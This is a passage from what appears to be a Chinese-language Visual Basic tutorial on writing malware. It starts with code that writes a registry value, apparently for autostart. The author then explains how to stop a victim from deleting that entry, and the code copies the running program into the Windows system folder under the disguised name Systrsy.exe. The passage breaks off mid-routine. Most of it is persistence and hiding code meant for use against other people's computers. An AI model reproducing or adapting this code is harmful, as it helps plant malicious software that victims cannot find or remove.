result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
End If
End Sub
好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next
'复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next